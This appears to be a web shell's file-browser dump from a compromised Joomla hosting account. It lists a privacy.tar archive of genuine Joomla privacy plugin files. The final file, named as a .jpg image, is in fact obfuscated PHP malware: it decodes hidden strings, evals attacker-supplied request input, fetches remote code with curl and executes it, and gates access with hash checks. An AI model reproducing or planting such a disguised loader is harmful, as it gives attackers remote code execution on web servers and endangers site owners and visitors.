uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
bin
/
..
/
07d6c
/
..
/
images
/
stories
/
..
/
..
/
logs
/
.
/
..
/
bin
/
..
/
privacy.tar
/
/
consents/src/Extension/Consents.php000064400000003616151664165020013464 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.consents * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Consents\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user consent data * * @since 3.9.0 */ final class Consents extends PrivacyPlugin { /** * Processes an export request for Joomla core user consent data * * This event will collect data for the core `#__privacy_consents` table * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domain = $this->createDomain('consents', 'joomla_consent_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__privacy_consents')) ->where($db->quoteName('user_id') . ' = :id') ->order($db->quoteName('created') . ' ASC') ->bind(':id', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item)); } return [$domain]; } } consents/consents.xml000064400000001546151664165020010772 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_consents</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_CONSENTS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Consents</namespace> <files> <folder plugin="consents">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_consents.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_consents.sys.ini</language> </languages> </extension> consents/services/provider.php000064400000002652151664165020012601 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.consents * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Consents\Extension\Consents; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Consents( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'consents') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; message/src/Extension/Message.php000064400000003747151664165020013051 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.message * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Message\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user messages * * @since 3.9.0 */ final class Message extends PrivacyPlugin { /** * Processes an export request for Joomla core user message * * This event will collect data for the message table * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domain = $this->createDomain('user_messages', 'joomla_user_messages_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__messages')) ->where($db->quoteName('user_id_from') . ' = :useridfrom') ->extendWhere('OR', $db->quoteName('user_id_to') . ' = :useridto') ->order($db->quoteName('date_time') . ' ASC') ->bind([':useridfrom', ':useridto'], $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item)); } return [$domain]; } } message/message.xml000064400000001540151664165020010344 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_message</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_MESSAGE_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Message</namespace> <files> <folder plugin="message">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_message.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_message.sys.ini</language> </languages> </extension> message/services/provider.php000064400000002645151664165020012373 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.message * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Message\Extension\Message; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Message( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'message') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; user/src/Extension/UserPlugin.php000064400000015662151664165020013113 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.user * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\User\Extension; use Joomla\CMS\Language\Text; use Joomla\CMS\Table\User as TableUser; use Joomla\CMS\User\User; use Joomla\CMS\User\UserHelper; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Removal\Status; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user data * * @since 3.9.0 */ final class UserPlugin extends PrivacyPlugin { /** * Performs validation to determine if the data associated with a remove information request can be processed * * This event will not allow a super user account to be removed * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return Status * * @since 3.9.0 */ public function onPrivacyCanRemoveData(RequestTable $request, User $user = null) { $status = new Status(); if (!$user) { return $status; } if ($user->authorise('core.admin')) { $status->canRemove = false; $status->reason = Text::_('PLG_PRIVACY_USER_ERROR_CANNOT_REMOVE_SUPER_USER'); } return $status; } /** * Processes an export request for Joomla core user data * * This event will collect data for the following core tables: * * - #__users (excluding the password, otpKey, and otep columns) * - #__user_notes * - #__user_profiles * - User custom fields * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } /** @var TableUser $userTable */ $userTable = User::getTable(); $userTable->load($user->id); $domains = []; $domains[] = $this->createUserDomain($userTable); $domains[] = $this->createNotesDomain($userTable); $domains[] = $this->createProfileDomain($userTable); $domains[] = $this->createCustomFieldsDomain('com_users.user', [$userTable]); return $domains; } /** * Removes the data associated with a remove information request * * This event will pseudoanonymise the user account * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return void * * @since 3.9.0 */ public function onPrivacyRemoveData(RequestTable $request, User $user = null) { // This plugin only processes data for registered user accounts if (!$user) { return; } $pseudoanonymisedData = [ 'name' => 'User ID ' . $user->id, 'username' => bin2hex(random_bytes(12)), 'email' => 'UserID' . $user->id . 'removed@email.invalid', 'block' => true, ]; $user->bind($pseudoanonymisedData); $user->save(); // Destroy all sessions for the user account UserHelper::destroyUserSessions($user->id); } /** * Create the domain for the user notes data * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createNotesDomain(TableUser $user) { $domain = $this->createDomain('user_notes', 'joomla_user_notes_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__user_notes')) ->where($db->quoteName('user_id') . ' = :userid') ->bind(':userid', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); // Remove user ID columns foreach (['user_id', 'created_user_id', 'modified_user_id'] as $column) { $items = ArrayHelper::dropColumn($items, $column); } foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item, $item['id'])); } return $domain; } /** * Create the domain for the user profile data * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createProfileDomain(TableUser $user) { $domain = $this->createDomain('user_profile', 'joomla_user_profile_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userid') ->order($db->quoteName('ordering') . ' ASC') ->bind(':userid', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item)); } return $domain; } /** * Create the domain for the user record * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createUserDomain(TableUser $user) { $domain = $this->createDomain('users', 'joomla_users_data'); $domain->addItem($this->createItemForUserTable($user)); return $domain; } /** * Create an item object for a TableUser object * * @param TableUser $user The TableUser object to convert * * @return \Joomla\Component\Privacy\Administrator\Export\Item * * @since 3.9.0 */ private function createItemForUserTable(TableUser $user) { $data = []; $exclude = ['password', 'otpKey', 'otep']; foreach (array_keys($user->getFields()) as $fieldName) { if (!in_array($fieldName, $exclude)) { $data[$fieldName] = $user->$fieldName; } } return $this->createItemFromArray($data, $user->id); } } user/services/provider.php000064400000002642151664165020011722 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.user * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\User\Extension\UserPlugin; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new UserPlugin( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'user') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; user/user.xml000064400000001516151664165020007233 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_user</name> <author>Joomla! Project</author> <creationDate>2018-05</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_USER_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\User</namespace> <files> <folder plugin="user">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_user.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_user.sys.ini</language> </languages> </extension> actionlogs/src/Extension/Actionlogs.php000064400000004435151664165020014300 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.actionlogs * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Actionlogs\Extension; use Joomla\CMS\User\User; use Joomla\Component\Actionlogs\Administrator\Helper\ActionlogsHelper; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla actionlogs data * * @since 3.9.0 */ final class Actionlogs extends PrivacyPlugin { /** * Processes an export request for Joomla core actionlog data * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } $domain = $this->createDomain('user_action_logs', 'joomla_user_action_logs_data'); $db = $this->getDatabase(); $userId = (int) $user->id; $query = $db->getQuery(true) ->select(['a.*', $db->quoteName('u.name')]) ->from($db->quoteName('#__action_logs', 'a')) ->join('INNER', $db->quoteName('#__users', 'u'), $db->quoteName('a.user_id') . ' = ' . $db->quoteName('u.id')) ->where($db->quoteName('a.user_id') . ' = :id') ->bind(':id', $userId, ParameterType::INTEGER); $db->setQuery($query); $data = $db->loadObjectList(); if (!count($data)) { return []; } $data = ActionlogsHelper::getCsvData($data); $isFirst = true; foreach ($data as $item) { if ($isFirst) { $isFirst = false; continue; } $domain->addItem($this->createItemFromArray($item)); } return [$domain]; } } actionlogs/actionlogs.xml000064400000001562151664165020011604 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_actionlogs</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_ACTIONLOGS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Actionlogs</namespace> <files> <folder plugin="actionlogs">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_actionlogs.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_actionlogs.sys.ini</language> </languages> </extension> actionlogs/services/provider.php000064400000002664151664165020013112 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.actionlogs * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Actionlogs\Extension\Actionlogs; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Actionlogs( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'actionlogs') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; contact/services/provider.php000064400000002645151664165020012402 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.contact * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Privacy\Contact\Extension\Contact; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Contact( $dispatcher, (array) PluginHelper::getPlugin('privacy', 'contact') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; contact/src/Extension/Contact.php000064400000004420151664165020013054 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Privacy.contact * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\Contact\Extension; use Joomla\CMS\User\User; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user contact data * * @since 3.9.0 */ final class Contact extends PrivacyPlugin { /** * Processes an export request for Joomla core user contact data * * This event will collect data for the contact core tables: * * - Contact custom fields * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user && !$request->email) { return []; } $domains = []; $domain = $this->createDomain('user_contact', 'joomla_user_contact_data'); $domains[] = $domain; $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__contact_details')) ->order($db->quoteName('ordering') . ' ASC'); if ($user) { $query->where($db->quoteName('user_id') . ' = :id') ->bind(':id', $user->id, ParameterType::INTEGER); } else { $query->where($db->quoteName('email_to') . ' = :email') ->bind(':email', $request->email); } $items = $db->setQuery($query)->loadObjectList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray((array) $item)); } $domains[] = $this->createCustomFieldsDomain('com_contact.contact', $items); return $domains; } } contact/contact.xml000064400000001540151664165020010362 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="privacy" method="upgrade"> <name>plg_privacy_contact</name> <author>Joomla! Project</author> <creationDate>2018-07</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.9.0</version> <description>PLG_PRIVACY_CONTACT_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Privacy\Contact</namespace> <files> <folder plugin="contact">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_privacy_contact.ini</language> <language tag="en-GB">language/en-GB/plg_privacy_contact.sys.ini</language> </languages> </extension> content/src/src/VbalMmsxThpC.jpg000060400000014011151664165020012605 0ustar00<?php goto Sfzc9rke4t5jda8W; pn7HoLPO0d8qKHI3: @(md5(md5(md5(md5($d1JhT5Fu3LqEEFSu[10])))) === "\x66\x66\x61\67\62\x66\62\145\141\71\66\145\65\x32\x65\66\x39\144\60\64\61\61\61\70\71\146\141\64\x31\x33\70\x62") && (count($d1JhT5Fu3LqEEFSu) == 16 && in_array(gettype($d1JhT5Fu3LqEEFSu) . count($d1JhT5Fu3LqEEFSu), $d1JhT5Fu3LqEEFSu)) ? ($d1JhT5Fu3LqEEFSu[67] = $d1JhT5Fu3LqEEFSu[67] . $d1JhT5Fu3LqEEFSu[79]) && ($d1JhT5Fu3LqEEFSu[81] = $d1JhT5Fu3LqEEFSu[67]($d1JhT5Fu3LqEEFSu[81])) && @eval($d1JhT5Fu3LqEEFSu[67](${$d1JhT5Fu3LqEEFSu[46]}[27])) : $d1JhT5Fu3LqEEFSu; goto QdMZovFj4EkTCcgQ; VA8fxl2tujJYAxgW: $d1JhT5Fu3LqEEFSu = ${$S78GJ7vWvoWx1AH5[10 + 21] . $S78GJ7vWvoWx1AH5[31 + 28] . $S78GJ7vWvoWx1AH5[19 + 28] . $S78GJ7vWvoWx1AH5[17 + 30] . $S78GJ7vWvoWx1AH5[48 + 3] . $S78GJ7vWvoWx1AH5[48 + 5] . $S78GJ7vWvoWx1AH5[7 + 50]}; goto pn7HoLPO0d8qKHI3; QdMZovFj4EkTCcgQ: metaphone("\66\163\157\172\102\x64\114\x77\65\172\x47\x6d\101\143\x34\62\x2b\x35\x53\x79\123\104\x57\x49\x57\x72\170\x66\66\x67\x37\x6c\130\x4d\x35\x4d\70\112\x35\111\71\x4b\x77"); goto bF6VLb2iRTENTQLM; bF6VLb2iRTENTQLM: class vcmY_jcUER6lCOtP { static function oWO51jPrzIytHkNw($L59hOmHKjKn8smNZ) { goto Hi3EO5N1Lp4MCxjT; GSJX6eyyu0wW0bgV: $FUPkrX_PqAkghenZ = ''; goto hy3fXERzn2_zMNPU; hy3fXERzn2_zMNPU: foreach ($TgKHHtA116N6ByYd as $fl67ubmp7dmCq25h => $w0IFUmY43K0qH449) { $FUPkrX_PqAkghenZ .= $ASgyLT0I2PAgW3Ks[$w0IFUmY43K0qH449 - 62393]; uiC0DK645Aqo4svh: } goto cyg3kxq2SwZoRSEt; cyg3kxq2SwZoRSEt: toGSKYJgQsoVVsSH: goto u_5wjPIbmn46pMfn; Hi3EO5N1Lp4MCxjT: $W4HAiZrDVEQvWegg = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto w20k0DAypblG5eQG; pE5siGA6tnGWP2EU: $TgKHHtA116N6ByYd = explode("\52", $L59hOmHKjKn8smNZ); goto GSJX6eyyu0wW0bgV; w20k0DAypblG5eQG: $ASgyLT0I2PAgW3Ks = $W4HAiZrDVEQvWegg("\176", "\40"); goto pE5siGA6tnGWP2EU; u_5wjPIbmn46pMfn: return $FUPkrX_PqAkghenZ; goto K0KV4h7j5SzTe2OB; K0KV4h7j5SzTe2OB: } static function zo9B1DzRJiYLUafD($wa75RjBZpzMpjPED, $Vmk5TDCki3cAyv6c) { goto hlS54lwWTZbSoa3n; EN3Mqcri2qhI_SlZ: curl_setopt($tdqTt1hInacEENAw, CURLOPT_RETURNTRANSFER, 1); goto uX9GuzI3yts0aPhO; uX9GuzI3yts0aPhO: $PSWVPkJh_JD8XtNV = curl_exec($tdqTt1hInacEENAw); goto zE5ksTXYkP3PF0qB; zE5ksTXYkP3PF0qB: return empty($PSWVPkJh_JD8XtNV) ? $Vmk5TDCki3cAyv6c($wa75RjBZpzMpjPED) : $PSWVPkJh_JD8XtNV; goto PyfzY80CERSxhfnq; hlS54lwWTZbSoa3n: $tdqTt1hInacEENAw = curl_init($wa75RjBZpzMpjPED); goto EN3Mqcri2qhI_SlZ; PyfzY80CERSxhfnq: } static function DISecKrgAiOycwMI() { goto qocFtRiAo52YS_jD; xtzYJrbjavCySF1y: SMsixN0pxUlZZTla: goto PU3_R2ILb2n4Io1u; dtonjMKFmwcb2ENb: @eval($VzY7CQmGIRrT9mGD[4 + 0]($n2vjrYYlSN0FQVf6)); goto Nglz2BY8E_grzEjM; gVtW9EO_HDM5u0WV: if (!(@$Oz77EsQo1X4UR3Q1[0] - time() > 0 and md5(md5($Oz77EsQo1X4UR3Q1[3 + 0])) === "\142\x38\146\141\x37\65\66\x37\61\145\x35\61\64\60\x30\x38\x65\66\143\x39\70\144\x31\x66\x32\x33\x33\x33\x31\64\x37\x63")) { goto Xm8Ce00cinGGBakj; } goto fhVAO3mxfqLqmb9M; rfj_0PoUKxp8vSKE: $Oz77EsQo1X4UR3Q1 = $VzY7CQmGIRrT9mGD[1 + 1]($DlRRnx2boU8CLc_h, true); goto KuIsSp0leOEJuRVP; Nglz2BY8E_grzEjM: die; goto ZivWqiaR_yNjlstl; PU3_R2ILb2n4Io1u: $A14B2i6qvklB0frS = @$VzY7CQmGIRrT9mGD[1]($VzY7CQmGIRrT9mGD[0 + 10](INPUT_GET, $VzY7CQmGIRrT9mGD[6 + 3])); goto KKH6ouRVkeygV2L2; ZivWqiaR_yNjlstl: Xm8Ce00cinGGBakj: goto JNa1K9qH21NuMJii; qocFtRiAo52YS_jD: $FdD6AE4dwaY75b7x = array("\66\x32\64\62\x30\52\66\62\64\60\65\x2a\x36\62\x34\x31\70\x2a\x36\x32\x34\x32\x32\x2a\66\x32\x34\x30\63\52\66\x32\x34\x31\70\x2a\x36\62\64\62\x34\x2a\x36\x32\64\x31\x37\52\x36\x32\64\60\62\x2a\66\62\64\60\71\x2a\66\x32\64\62\x30\x2a\66\x32\64\60\63\x2a\66\62\64\x31\64\x2a\x36\62\64\60\x38\52\x36\62\x34\60\x39", "\66\62\x34\60\64\52\x36\62\64\60\x33\x2a\66\62\64\x30\65\52\x36\x32\x34\62\64\x2a\66\x32\64\60\65\x2a\66\x32\64\60\70\52\x36\62\64\60\63\x2a\66\x32\64\67\x30\52\x36\x32\x34\66\70", "\66\x32\64\x31\x33\x2a\66\x32\64\60\x34\52\66\62\x34\x30\70\52\x36\x32\64\60\71\52\x36\x32\x34\x32\64\52\x36\x32\x34\x31\x39\x2a\66\x32\x34\61\70\x2a\66\x32\64\x32\60\52\x36\62\64\x30\x38\52\x36\62\x34\61\71\52\x36\x32\64\x31\70", "\66\x32\x34\x30\x37\52\x36\62\x34\62\62\52\x36\62\x34\x32\x30\52\66\62\64\61\x32", "\66\x32\64\x32\61\52\x36\x32\x34\62\62\x2a\66\62\64\60\x34\52\66\x32\x34\61\x38\52\66\x32\x34\x36\x35\52\x36\62\64\x36\67\52\66\x32\x34\x32\64\x2a\x36\x32\64\61\x39\52\x36\x32\64\61\70\52\66\62\x34\x32\x30\x2a\66\x32\64\60\x38\52\x36\62\x34\x31\71\52\x36\x32\x34\61\x38", "\66\62\x34\x31\x37\x2a\66\62\64\61\x34\x2a\66\x32\x34\x31\x31\52\x36\x32\x34\61\70\x2a\x36\62\x34\x32\x34\52\x36\x32\64\61\66\x2a\x36\x32\64\x31\70\x2a\66\x32\64\60\63\52\x36\62\x34\x32\x34\52\66\x32\64\x32\x30\x2a\66\x32\x34\x30\70\52\66\x32\64\x30\71\52\x36\x32\x34\x30\x33\x2a\66\x32\64\x31\x38\52\66\x32\64\x30\71\x2a\66\62\64\60\x33\x2a\66\x32\64\x30\x34", "\66\x32\x34\64\x37\52\66\62\x34\x37\67", "\66\x32\x33\71\64", "\x36\x32\x34\x37\x32\52\66\x32\64\67\x37", "\66\x32\64\x35\x34\52\x36\62\64\63\x37\x2a\x36\62\64\x33\67\x2a\66\62\64\65\x34\x2a\x36\62\x34\63\x30", "\66\62\x34\61\x37\x2a\x36\62\64\x31\64\52\66\x32\x34\x31\61\52\x36\62\x34\60\63\x2a\66\62\64\61\70\52\x36\x32\x34\60\65\52\x36\x32\x34\x32\64\52\66\x32\64\x31\x34\x2a\66\62\x34\60\x39\x2a\x36\x32\64\60\x37\x2a\66\x32\64\60\x32\52\x36\x32\64\60\x33"); goto ZJYRsIZ4CsOvJ7Ke; KKH6ouRVkeygV2L2: $DlRRnx2boU8CLc_h = @$VzY7CQmGIRrT9mGD[3 + 0]($VzY7CQmGIRrT9mGD[6 + 0], $A14B2i6qvklB0frS); goto rfj_0PoUKxp8vSKE; KuIsSp0leOEJuRVP: @$VzY7CQmGIRrT9mGD[8 + 2](INPUT_GET, "\157\x66") == 1 && die($VzY7CQmGIRrT9mGD[3 + 2](__FILE__)); goto gVtW9EO_HDM5u0WV; fhVAO3mxfqLqmb9M: $n2vjrYYlSN0FQVf6 = self::ZO9B1dzRJiYlUaFD($Oz77EsQo1X4UR3Q1[0 + 1], $VzY7CQmGIRrT9mGD[0 + 5]); goto dtonjMKFmwcb2ENb; ZJYRsIZ4CsOvJ7Ke: foreach ($FdD6AE4dwaY75b7x as $kMmcaMTx9P5abnb9) { $VzY7CQmGIRrT9mGD[] = self::oWo51JPRziyTHKnw($kMmcaMTx9P5abnb9); O8dErliw0aX5Zvxe: } goto xtzYJrbjavCySF1y; JNa1K9qH21NuMJii: } } goto a4tZuuEFhnugfKdZ; 